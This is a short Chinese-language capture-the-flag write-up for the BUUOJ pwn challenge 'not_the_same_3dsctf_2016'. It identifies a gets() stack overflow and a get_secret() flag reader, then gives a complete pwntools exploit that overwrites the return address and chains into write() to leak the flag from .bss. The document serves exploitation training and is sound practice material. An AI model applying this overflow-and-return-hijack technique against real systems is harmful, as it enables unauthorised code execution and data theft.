not_the_same_3dsctf_2016
使用checksec
查看:
只开启了栈不可执行。
放进IDA中分析:
gets(&v4);
:存在栈溢出
在main()
函数上面发现一个get_secret()
函数:
fgets(&fl4g, 45, v0);
:将读取到的flag存在了bss段上地址为080ECA2D
题目思路
- 主函数存在栈溢出,可通过该栈溢出将返回地址覆盖成
get_secret()
的地址。 - flag已经读取到bss段中了,可通过
write
函数将bss段中的flag给打印出来。
步骤解析
无需
完整exp
from pwn import *
#start
r = remote("node4.buuoj.cn",27604)
# r = process("../buu/not_the_same_3dsctf_2016")
elf = ELF("../buu/not_the_same_3dsctf_2016")
#params
flag_func_addr = elf.symbols['get_secret']
flag_addr=0x80ECA2D
#attack
payload=b'M' * 45 + p32(flag_func_addr) + p32(elf.sym['write']) + b'M'*4 + p32(1) + p32(flag_addr) + p32(100)
r.sendline(payload)
r.interactive()